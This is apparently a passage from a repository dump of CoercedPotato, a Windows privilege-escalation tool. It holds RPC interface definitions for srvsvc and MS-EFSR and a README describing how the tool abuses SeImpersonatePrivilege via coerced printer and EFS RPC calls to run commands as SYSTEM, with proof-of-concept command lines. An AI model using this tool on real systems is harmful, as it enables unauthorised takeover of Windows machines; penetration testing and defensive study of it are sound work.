InfoStruct,\n            [in] DWORD PreferedMaximumLength,\n            [out] DWORD* TotalEntries,\n            [in, out, unique] DWORD* ResumeHandle\n        );\n\n    NET_API_STATUS\n        NetrSessionDel(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string, unique] WCHAR* ClientName,\n            [in, string, unique] WCHAR* UserName\n        );\n\n    NET_API_STATUS\n        NetrShareAdd(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] DWORD Level,\n            [in, switch_is(Level)] LPSHARE_INFO InfoStruct,\n            [in, out, unique] DWORD* ParmErr\n        );\n\n    NET_API_STATUS\n        NetrShareEnum(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, out] LPSHARE_ENUM_STRUCT InfoStruct,\n            [in] DWORD PreferedMaximumLength,\n            [out] DWORD* TotalEntries,\n            [in, out, unique] DWORD* ResumeHandle\n        );\n\n    NET_API_STATUS\n        NetrShareGetInfo(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* NetName,\n            [in] DWORD Level,\n            [out, switch_is(Level)] LPSHARE_INFO InfoStruct\n        );\n\n    NET_API_STATUS\n        NetrShareSetInfo(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* NetName,\n            [in] DWORD Level,\n            [in, switch_is(Level)] LPSHARE_INFO ShareInfo,\n            [in, out, unique] DWORD* ParmErr\n        );\n\n    NET_API_STATUS\n        NetrShareDel(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* NetName,\n            [in] DWORD Reserved\n        );\n\n    NET_API_STATUS\n        NetrShareDelSticky(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* NetName,\n            [in] DWORD Reserved\n        );\n\n    NET_API_STATUS\n        NetrShareCheck(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* Device,\n            [out] DWORD* Type\n        );\n\n    NET_API_STATUS\n        NetrServerGetInfo(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] DWORD Level,\n            [out, switch_is(Level)] LPSERVER_INFO InfoStruct\n        );\n\n    NET_API_STATUS\n        NetrServerSetInfo(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] DWORD Level,\n            [in, switch_is(Level)] LPSERVER_INFO ServerInfo,\n            [in, out, unique] DWORD* ParmErr\n        );\n\n    NET_API_STATUS\n        NetrServerDiskEnum(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] DWORD Level,\n            [in, out] DISK_ENUM_CONTAINER* DiskInfoStruct,\n            [in] DWORD PreferedMaximumLength,\n            [out] DWORD* TotalEntries,\n            [in, out, unique] DWORD* ResumeHandle\n        );\n\n    NET_API_STATUS\n        NetrServerStatisticsGet(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string, unique] WCHAR* Service,\n            [in] DWORD Level,\n            [in] DWORD Options,\n            [out] LPSTAT_SERVER_0* InfoStruct\n        );\n\n    NET_API_STATUS\n        NetrServerTransportAdd(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] DWORD Level,\n            [in] LPSERVER_TRANSPORT_INFO_0 Buffer\n        );\n\n    NET_API_STATUS\n        NetrServerTransportEnum(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, out] LPSERVER_XPORT_ENUM_STRUCT InfoStruct,\n            [in] DWORD PreferedMaximumLength,\n            [out] DWORD* TotalEntries,\n            [in, out, unique] DWORD* ResumeHandle\n        );\n\n    NET_API_STATUS\n        NetrServerTransportDel(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] DWORD Level,\n            [in] LPSERVER_TRANSPORT_INFO_0 Buffer\n        );\n\n    NET_API_STATUS\n        NetrRemoteTOD(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [out] LPTIME_OF_DAY_INFO* BufferPtr\n        );\n\n    // This method not used on the wire\n    void Opnum29NotUsedOnWire(void);\n\n    NET_API_STATUS\n        NetprPathType(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* PathName,\n            [out] DWORD* PathType,\n            [in] DWORD Flags\n        );\n\n    NET_API_STATUS\n        NetprPathCanonicalize(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* PathName,\n            [out, size_is(OutbufLen)] unsigned char* Outbuf,\n            [in, range(0, 64000)] DWORD OutbufLen,\n            [in, string] WCHAR* Prefix,\n            [in, out] DWORD* PathType,\n            [in] DWORD Flags\n        );\n\n    long\n        NetprPathCompare(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* PathName1,\n            [in, string] WCHAR* PathName2,\n            [in] DWORD PathType,\n            [in] DWORD Flags\n        );\n\n    NET_API_STATUS\n        NetprNameValidate(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* Name,\n            [in] DWORD NameType,\n            [in] DWORD Flags\n        );\n\n    NET_API_STATUS\n        NetprNameCanonicalize(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* Name,\n            [out, size_is(OutbufLen)] WCHAR* Outbuf,\n            [in, range(0, 64000)] DWORD OutbufLen,\n            [in] DWORD NameType,\n            [in] DWORD Flags\n        );\n\n    long\n        NetprNameCompare(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* Name1,\n            [in, string] WCHAR* Name2,\n            [in] DWORD NameType,\n            [in] DWORD Flags\n        );\n\n    NET_API_STATUS\n        NetrShareEnumSticky(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, out] LPSHARE_ENUM_STRUCT InfoStruct,\n            [in] DWORD PreferedMaximumLength,\n            [out] DWORD* TotalEntries,\n            [in, out, unique] DWORD* ResumeHandle\n        );\n\n    NET_API_STATUS\n        NetrShareDelStart(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* NetName,\n            [in] DWORD Reserved,\n            [out] PSHARE_DEL_HANDLE ContextHandle\n        );\n\n    NET_API_STATUS\n        NetrShareDelCommit(\n            [in, out] PSHARE_DEL_HANDLE ContextHandle\n        );\n\n    DWORD\n        NetrpGetFileSecurity(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string, unique] WCHAR* ShareName,\n            [in, string] WCHAR* lpFileName,\n            [in] SECURITY_INFORMATION RequestedInformation,\n            [out] PADT_SECURITY_DESCRIPTOR* SecurityDescriptor\n        );\n\n    DWORD\n        NetrpSetFileSecurity(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string, unique] WCHAR* ShareName,\n            [in, string] WCHAR* lpFileName,\n            [in] SECURITY_INFORMATION SecurityInformation,\n            [in] PADT_SECURITY_DESCRIPTOR SecurityDescriptor\n        );\n\n    NET_API_STATUS\n        NetrServerTransportAddEx(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] DWORD Level,\n            [in, switch_is(Level)] LPTRANSPORT_INFO Buffer\n        );\n\n    // This method not used on the wire\n    void Opnum42NotUsedOnWire(void);\n\n    NET_API_STATUS\n        NetrDfsGetVersion(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [out] DWORD* Version\n        );\n\n    NET_API_STATUS\n        NetrDfsCreateLocalPartition(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* ShareName,\n            [in] GUID* EntryUid,\n            [in, string] WCHAR* EntryPrefix,\n            [in, string] WCHAR* ShortName,\n            [in] LPNET_DFS_ENTRY_ID_CONTAINER RelationInfo,\n            [in] int Force\n        );\n\n    NET_API_STATUS\n        NetrDfsDeleteLocalPartition(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] GUID* Uid,\n            [in, string] WCHAR* Prefix\n        );\n\n    NET_API_STATUS\n        NetrDfsSetLocalVolumeState(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] GUID* Uid,\n            [in, string] WCHAR* Prefix,\n            [in] unsigned long State\n        );\n\n    // This method not used on the wire\n    void Opnum47NotUsedOnWire(void);\n\n    NET_API_STATUS\n        NetrDfsCreateExitPoint(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] GUID* Uid,\n            [in, string] WCHAR* Prefix,\n            [in] unsigned long Type,\n            [in, range(0, 32)] DWORD ShortPrefixLen,\n            [out, size_is(ShortPrefixLen)] WCHAR* ShortPrefix\n        );\n\n    NET_API_STATUS\n        NetrDfsDeleteExitPoint(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] GUID* Uid,\n            [in, string] WCHAR* Prefix,\n            [in] unsigned long Type\n        );\n\n    NET_API_STATUS\n        NetrDfsModifyPrefix(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] GUID* Uid,\n            [in, string] WCHAR* Prefix\n        );\n\n    NET_API_STATUS\n        NetrDfsFixLocalVolume(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, string] WCHAR* VolumeName,\n            [in] unsigned long EntryType,\n            [in] unsigned long ServiceType,\n            [in, string] WCHAR* StgId,\n            [in] GUID* EntryUid,\n            [in, string] WCHAR* EntryPrefix,\n            [in] LPNET_DFS_ENTRY_ID_CONTAINER RelationInfo,\n            [in] unsigned long CreateDisposition\n        );\n\n    NET_API_STATUS\n        NetrDfsManagerReportSiteInfo(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in, out, unique] LPDFS_SITELIST_INFO* ppSiteInfo\n        );\n\n    NET_API_STATUS\n        NetrServerTransportDelEx(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] DWORD Level,\n            [in, switch_is(Level)] LPTRANSPORT_INFO Buffer\n        );\n\n    NET_API_STATUS\n        NetrServerAliasAdd(\n            [in, string, unique] SRVSVC_HANDLE        ServerName,\n            [in]               DWORD                Level,\n            [in, switch_is(Level)] LPSERVER_ALIAS_INFO     InfoStruct\n        );\n\n    NET_API_STATUS\n        NetrServerAliasEnum(\n            [in, string, unique] SRVSVC_HANDLE        ServerName,\n            [in, out]           LPSERVER_ALIAS_ENUM_STRUCT  InfoStruct,\n            [in]               DWORD                PreferedMaximumLength,\n            [out]              LPDWORD              TotalEntries,\n            [in, out, unique]    LPDWORD              ResumeHandle\n        );\n\n    NET_API_STATUS\n        NetrServerAliasDel(\n            [in, string, unique] SRVSVC_HANDLE        ServerName,\n            [in]               DWORD                Level,\n            [in, switch_is(Level)] LPSERVER_ALIAS_INFO     InfoStruct\n        );\n\n    NET_API_STATUS\n        NetrShareDelEx(\n            [in, string, unique] SRVSVC_HANDLE ServerName,\n            [in] DWORD Level,\n            [in, switch_is(Level)] LPSHARE_INFO ShareInfo\n        );\n}"
  },
  {
    "path": "README.md",
    "content": "# Coerced potato\n\nFrom Patate (LOCAL/NETWORK SERVICE) to SYSTEM by abusing `SeImpersonatePrivilege` on Windows 10, Windows 11 and Server 2022.\n\nFor more information: [https://blog.hackvens.fr/articles/CoercedPotato.html](https://blog.hackvens.fr/articles/CoercedPotato.html) (The english version is coming soon!! 😄)\n\nA very quick PoooooC:\n\n```txt\n.\\CoercedPotato.exe -c whoami\n```\nAn other PoC with an interactive shell:\n\n```txt\n.\\CoercedPotato.exe -c cmd.exe\n```\n<p align=\"center\">\n  <img src=\"poc.png\">\n</p>\n\n\n## Usage\n\nYou can check the help message using the `--help` option.\n\n```txt\n                                                                  \n   ____                            _ ____       _        _        \n  / ___|___   ___ _ __ ___ ___  __| |  _ \\ ___ | |_ __ _| |_ ___  \n | |   / _ \\ / _ \\ '__/ __/ _ \\/ _` | |_) / _ \\| __/ _` | __/ _ \\ \n | |__| (_) |  __/ | | (_|  __/ (_| |  __/ (_) | || (_| | || (_) |\n  \\____\\___/ \\___|_|  \\___\\___|\\__,_|_|   \\___/ \\__\\__,_|\\__\\___/ \n                                                                  \n                                           @Hack0ura @Prepouce    \n                                                                  \nCoercedPotato is an automated tool for privilege escalation exploit using SeImpersonatePrivilege or SeImpersonatePrimaryToken.\nUsage: .\\CoercedPotato.exe [OPTIONS]\n\nOptions:\n  -h,--help                   Print this help message and exit\n  -c,--command TEXT REQUIRED  Program to execute as SYSTEM (i.e. cmd.exe)\n  -i,--interface TEXT         Optionnal interface to use (default : ALL) (Possible values : ms-rprn, ms-efsr\n  -n,--exploitId INT          Optionnal exploit ID (Only usuable if interface is defined) \n                               -> ms-rprn : \n                                 [0] RpcRemoteFindFirstPrinterChangeNotificationEx()\n                                 [1] RpcRemoteFindFirstPrinterChangeNotification()\n                               -> ms-efsr \n                                 [0] EfsRpcOpenFileRaw()\n                                 [1] EfsRpcEncryptFileSrv()\n                                 [2] EfsRpcDecryptFileSrv()\n                                 [3] EfsRpcQueryUsersOnFile()\n                                 [4] EfsRpcQueryRecoveryAgents()\n                                 [5] EfsRpcRemoveUsersFromFile()\n                                 [6] EfsRpcAddUsersToFile()\n                                 [7] EfsRpcFileKeyInfo() # NOT WORKING\n                                 [8] EfsRpcDuplicateEncryptionInfoFile()\n                                 [9] EfsRpcAddUsersToFileEx()\n                                 [10] EfsRpcFileKeyInfoEx() # NOT WORKING\n                                 [11] EfsRpcGetEncryptedFileMetadata()\n                                 [12] EfsRpcEncryptFileExSrv()\n                                 [13] EfsRpcQueryProtectors()\n                              \n  -f,--force BOOLEAN          Force all RPC functions even if it says 'Exploit worked!' (Default value : false)\n  --interactive BOOLEAN       Set wether the process should be run within the same shell or open a new window. (Default value : true)\n```\n## Known issues\n\nSome compilations issues can occur due to the error handling implementation, in this case you can choose an older version with the following git command:\n\n```\ngit reset --hard 5e91aec\n```\n\n\nMade in France 🇫🇷 with <3\n"
  },
  {
    "path": "lib/ms-efsr_h.h",
    "content": "/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for MS-EFSR_df1941c5-fe89-4e79-bf10-463657acf44d.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n\n#ifndef __MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_h_h__\n#define __MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_h_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n#ifndef DECLSPEC_XFGVIRT\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func))\n#else\n#define DECLSPEC_XFGVIRT(base, func)\n#endif\n#endif\n\n/* Forward Declarations */ \n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n#ifndef __efsrpc_through_pipe_efsrpc_INTERFACE_DEFINED__\n#define __efsrpc_through_pipe_efsrpc_INTERFACE_DEFINED__\n\n/* interface efsrpc_through_pipe_efsrpc */\n/* [version][uuid] */ \n\ntypedef struct pipe_EFS_EXIM_PIPE\n    {\n    void (__RPC_USER * pull) (\n        char * state,\n        unsigned char * buf,\n        unsigned long esize,\n        unsigned long * ecount );\n    void (__RPC_USER * push) (\n        char * state,\n        unsigned char * buf,\n        unsigned long ecount );\n    void (__RPC_USER * alloc) (\n        char * state,\n        unsigned long bsize,\n        unsigned char * * buf,\n        unsigned long * bcount );\n    char * state;\n    } \tEFS_EXIM_PIPE;\n\ntypedef unsigned long DWORD;\n\ntypedef unsigned long *PDWORD;\n\ntypedef unsigned long *LPDWORD;\n\ntypedef int BOOL;\n\ntypedef /* [context_handle] */ void* PEXIMPORT_CONTEXT_HANDLE;\n\ntypedef struct _RPC_SID_IDENTIFIER_AUTHORITY\n    {\n    byte Value[ 6 ];\n    } \tRPC_SID_IDENTIFIER_AUTHORITY;\n\ntypedef struct _RPC_SID\n    {\n    unsigned char Revision;\n    unsigned char SubAuthorityCount;\n    RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority;\n    /* [size_is] */ unsigned long SubAuthority[ 1 ];\n    } \tRPC_SID;\n\ntypedef struct _RPC_SID *PRPC_SID;\n\ntypedef struct _EFS_RPC_BLOB *PEFS_RPC_BLOB;\n\ntypedef struct Struct_68_t\n    {\n    unsigned char StructMember0[ 6 ];\n    } \tStruct_68_t;\n\ntypedef struct Struct_100_t\n    {\n    unsigned char StructMember0;\n    unsigned char StructMember1;\n    struct Struct_68_t StructMember2;\n    /* [size_is] */ long StructMember3[ 1 ];\n    } \tStruct_100_t;\n\ntypedef struct Struct_136_t\n    {\n    long StructMember0;\n    /* [size_is][unique] */ unsigned char *StructMember1;\n    } \tStruct_136_t;\n\ntypedef struct Struct_152_t\n    {\n    long StructMember0;\n    /* [unique] */ struct Struct_100_t *StructMember1;\n    /* [unique] */ struct Struct_136_t *StructMember2;\n    /* [string][unique] */ wchar_t *StructMember3;\n    } \tStruct_152_t;\n\ntypedef struct Struct_220_t\n    {\n    long StructMember0;\n    /* [size_is][unique] */ struct Struct_152_t **StructMember1;\n    } \tStruct_220_t;\n\ntypedef struct Struct_266_t\n    {\n    long StructMember0;\n    long StructMember1;\n    /* [size_is][unique] */ unsigned char *StructMember2;\n    } \tStruct_266_t;\n\ntypedef struct Struct_282_t\n    {\n    long StructMember0;\n    /* [unique] */ struct Struct_100_t *StructMember1;\n    /* [unique] */ struct Struct_266_t *StructMember2;\n    } \tStruct_282_t;\n\ntypedef struct Struct_346_t\n    {\n    long StructMember0;\n    /* [size_is][unique] */ struct Struct_282_t **StructMember1;\n    } \tStruct_346_t;\n\ntypedef struct Struct_392_t\n    {\n    long StructMember0;\n    /* [size_is][unique] */ unsigned char *StructMember1;\n    } \tStruct_392_t;\n\ntypedef struct Struct_462_t\n    {\n    /* [range] */ long StructMember0;\n    /* [range] */ long StructMember1;\n    /* [size_is][unique] */ unsigned char *StructMember2;\n    } \tStruct_462_t;\n\ntypedef struct Struct_492_t\n    {\n    long StructMember0;\n    /* [unique] */ struct Struct_220_t *StructMember1;\n    /* [unique] */ struct Struct_282_t *StructMember2;\n    /* [unique] */ struct Struct_392_t *StructMember3;\n    } \tStruct_492_t;\n\ntypedef struct Struct_530_t\n    {\n    long StructMember0;\n    /* [unique] */ struct Struct_100_t *StructMember1;\n    /* [string][unique] */ wchar_t *StructMember2;\n    } \tStruct_530_t;\n\ntypedef struct Struct_594_t\n    {\n    long StructMember0;\n    /* [size_is][unique] */ struct Struct_530_t **StructMember1;\n    } \tStruct_594_t;\n\ntypedef struct Struct_762_t\n    {\n    unsigned char StructMember0[ 16 ];\n    } \tStruct_762_t;\n\ntypedef struct Struct_836_t\n    {\n    long StructMember0;\n    long StructMember1;\n    } \tStruct_836_t;\n\ntypedef struct Struct_850_t\n    {\n    long StructMember0;\n    short StructMember1;\n    short StructMember2;\n    byte StructMember3[ 8 ];\n    } \tStruct_850_t;\n\ntypedef struct Struct_904_t\n    {\n    long StructMember0;\n    /* [size_is][unique] */ struct Struct_850_t *StructMember1;\n    hyper StructMember2;\n    /* [string][unique] */ wchar_t *StructMember3;\n    struct Struct_836_t StructMember4;\n    } \tStruct_904_t;\n\ntypedef struct Struct_972_t\n    {\n    long StructMember0;\n    /* [size_is][unique] */ struct Struct_904_t **StructMember1;\n    } \tStruct_972_t;\n\nlong EfsRpcOpenFileRaw( \n    /* [in] */ handle_t binding_h,\n    /* [out] */ PEXIMPORT_CONTEXT_HANDLE *hContext,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ long Flags);\n\nlong EfsRpcReadFileRaw( \n    /* [in] */ PEXIMPORT_CONTEXT_HANDLE hContext,\n    /* [out] */ wchar_t *EfsOutPipe);\n\nlong EfsRpcWriteFileRaw( \n    /* [in] */ PEXIMPORT_CONTEXT_HANDLE hContext,\n    /* [in] */ EFS_EXIM_PIPE *EfsInPipe);\n\nvoid EfsRpcCloseRaw( \n    /* [out][in] */ PEXIMPORT_CONTEXT_HANDLE *hContext);\n\nlong EfsRpcEncryptFileSrv( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName);\n\nlong EfsRpcDecryptFileSrv( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ unsigned long OpenFlag);\n\nDWORD EfsRpcQueryUsersOnFile( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [out] */ ENCRYPTION_CERTIFICATE_HASH_LIST **Users);\n\nDWORD EfsRpcQueryRecoveryAgents( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [out] */ ENCRYPTION_CERTIFICATE_HASH_LIST **RecoveryAgents);\n\nDWORD EfsRpcRemoveUsersFromFile( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ ENCRYPTION_CERTIFICATE_HASH_LIST *Users);\n\nDWORD EfsRpcAddUsersToFile( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ ENCRYPTION_CERTIFICATE_LIST *EncryptionCertificates);\n\nlong Proc10_EfsRpcSetFileEncryptionKey( \n    /* [in] */ handle_t IDL_handle,\n    /* [unique][in] */ struct Struct_282_t *arg_1,\n    /* [in] */ long arg_2,\n    /* [in] */ long arg_3);\n\nDWORD EfsRpcNotSupported( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *Reserved1,\n    /* [string][in] */ wchar_t *Reserved2,\n    /* [in] */ DWORD dwReserved1,\n    /* [in] */ DWORD dwReserved2,\n    /* [unique][in] */ EFS_RPC_BLOB *Reserved,\n    /* [in] */ BOOL bReserved);\n\nDWORD EfsRpcFileKeyInfo( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ DWORD InfoClass,\n    /* [out] */ EFS_RPC_BLOB **KeyInfo);\n\nDWORD EfsRpcDuplicateEncryptionInfoFile( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *SrcFileName,\n    /* [string][in] */ wchar_t *DestFileName,\n    /* [in] */ DWORD dwCreationDisposition,\n    /* [in] */ DWORD dwAttributes,\n    /* [unique][in] */ EFS_RPC_BLOB *RelativeSD,\n    /* [in] */ BOOL bInheritHandle);\n\nlong Proc14_EfsUsePinForEncryptedFiles( \n    /* [in] */ handle_t IDL_handle,\n    /* [in] */ struct Struct_136_t *arg_1,\n    /* [in] */ struct Struct_462_t *arg_2);\n\nDWORD EfsRpcAddUsersToFileEx( \n    /* [in] */ handle_t binding_h,\n    /* [in] */ DWORD dwFlags,\n    /* [unique][in] */ EFS_RPC_BLOB *Reserved,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ ENCRYPTION_CERTIFICATE_LIST *EncryptionCertificates);\n\nDWORD EfsRpcFileKeyInfoEx( \n    /* [in] */ handle_t binding_h,\n    /* [in] */ DWORD dwFileKeyInfoFlags,\n    /* [unique][in] */ EFS_RPC_BLOB *Reserved,\n    /* [string][in] */ wchar_t *FileName,\n    /* [in] */ DWORD InfoClass,\n    /* [out] */ EFS_RPC_BLOB **KeyInfo);\n\nlong Proc17_EfsRpcFileKeyInfoEx( \n    /* [in] */ handle_t IDL_handle,\n    /* [ref][out] */ struct Struct_392_t **arg_1);\n\nDWORD EfsRpcGetEncryptedFileMetadata( \n    /* [in] */ handle_t binding_h,\n    /* [ref][string][in] */ wchar_t *FileName,\n    /* [ref][out] */ EFS_RPC_BLOB **EfsStreamBlob);\n\nDWORD EfsRpcSetEncryptedFileMetadata( \n    /* [in] */ handle_t binding_h,\n    /* [ref][string][in] */ wchar_t *FileName,\n    /* [unique][in] */ EFS_RPC_BLOB *OldEfsStreamBlob,\n    /* [ref][in] */ EFS_RPC_BLOB *NewEfsStreamBlob,\n    /* [unique][in] */ ENCRYPTED_FILE_METADATA_SIGNATURE *NewEfsSignature);\n\nDWORD EfsRpcFlushEfsCache( \n    /* [in] */ handle_t binding_h);\n\nlong EfsRpcEncryptFileExSrv( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [unique][string][in] */ wchar_t *ProtectorDescriptor,\n    /* [in] */ unsigned long Flags);\n\nDWORD EfsRpcQueryProtectors( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [out] */ PENCRYPTION_PROTECTOR_LIST **ppProtectorList);\n\nlong Proc23_EfsRpcWriteFileWithHeaderRaw( \n    /* [context_handle][in] */ void *arg_0,\n    /* [in] */ unsigned long *arg_1,\n    /* [in] */ struct Struct_392_t *arg_2,\n    /* [in] */ hyper arg_3,\n    /* [in] */ long arg_4);\n\nlong Proc24_EdpRpcCredentialCreate( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [string][full][in] */ wchar_t *arg_3,\n    /* [string][ref][out] */ wchar_t **arg_4);\n\nlong Proc25_EdpRpcCredentialQuery( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [string][full][in] */ wchar_t *arg_3,\n    /* [string][ref][out] */ wchar_t **arg_4);\n\nlong Proc26_EdpRpcCredentialExists( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [string][full][in] */ wchar_t *arg_3,\n    /* [out] */ long *arg_4);\n\nlong Proc27_EdpRpcCredentialDelete( \n    /* [in] */ handle_t IDL_handle,\n    /* [in] */ long arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [string][full][in] */ wchar_t *arg_3,\n    /* [string][full][in] */ wchar_t *arg_4,\n    /* [string][full][in] */ wchar_t *arg_5);\n\nlong Proc28_EdpRpcQueryRevokedPolicyOwnerIds( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [in] */ long arg_2,\n    /* [string][ref][out] */ wchar_t **arg_3);\n\nlong Proc29_EdpRpcQueryDplEnforcedPolicyOwnerIds( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][ref][out] */ wchar_t **arg_2);\n\nlong Proc30_EdpRpcGetLockSessionWrappedKey( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [size_is][full][in] */ unsigned char *arg_2,\n    /* [in] */ long arg_3,\n    /* [size_is][size_is][ref][out] */ unsigned char **arg_4,\n    /* [out] */ long *arg_5,\n    /* [size_is][size_is][ref][out] */ unsigned char **arg_6,\n    /* [out] */ long *arg_7);\n\nlong Proc31_EdpRpcGetLockSessionUnwrappedKey( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [size_is][full][in] */ unsigned char *arg_2,\n    /* [in] */ long arg_3,\n    /* [size_is][full][in] */ unsigned char *arg_4,\n    /* [in] */ long arg_5,\n    /* [size_is][size_is][ref][out] */ unsigned char **arg_6,\n    /* [out] */ long *arg_7);\n\nlong Proc32_EdpRpcGetCredServiceState( \n    /* [in] */ handle_t IDL_handle,\n    /* [out] */ long *arg_1,\n    /* [out] */ long *arg_2,\n    /* [out] */ long *arg_3,\n    /* [out] */ long *arg_4,\n    /* [out] */ long *arg_5,\n    /* [out] */ long *arg_6,\n    /* [out] */ long *arg_7,\n    /* [out] */ long *arg_8,\n    /* [out] */ long *arg_9);\n\nlong Proc33_EdpRpcDplUpgradePinInfo( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [out] */ long *arg_2,\n    /* [out] */ long *arg_3,\n    /* [out] */ long *arg_4);\n\nlong Proc34_EdpRpcDplUpgradeVerifyUser( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [out] */ long *arg_3,\n    /* [out] */ unsigned __int3264 *arg_4);\n\nlong Proc35_EdpRpcDplUserCredentialsSet( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [in] */ short arg_3,\n    /* [in] */ unsigned __int3264 arg_4);\n\nlong Proc36_EdpRpcDplUserUnlockStart( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [in] */ hyper arg_3,\n    /* [out] */ unsigned __int3264 *arg_4);\n\nlong Proc37_EdpRpcDplUserUnlockComplete( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [in] */ long arg_2,\n    /* [in] */ unsigned __int3264 arg_3);\n\nlong Proc38_EdpRpcQueueFileForEncryption( \n    /* [in] */ handle_t IDL_handle,\n    /* [unique][in] */ struct Struct_762_t *arg_1,\n    /* [string][unique][in] */ wchar_t 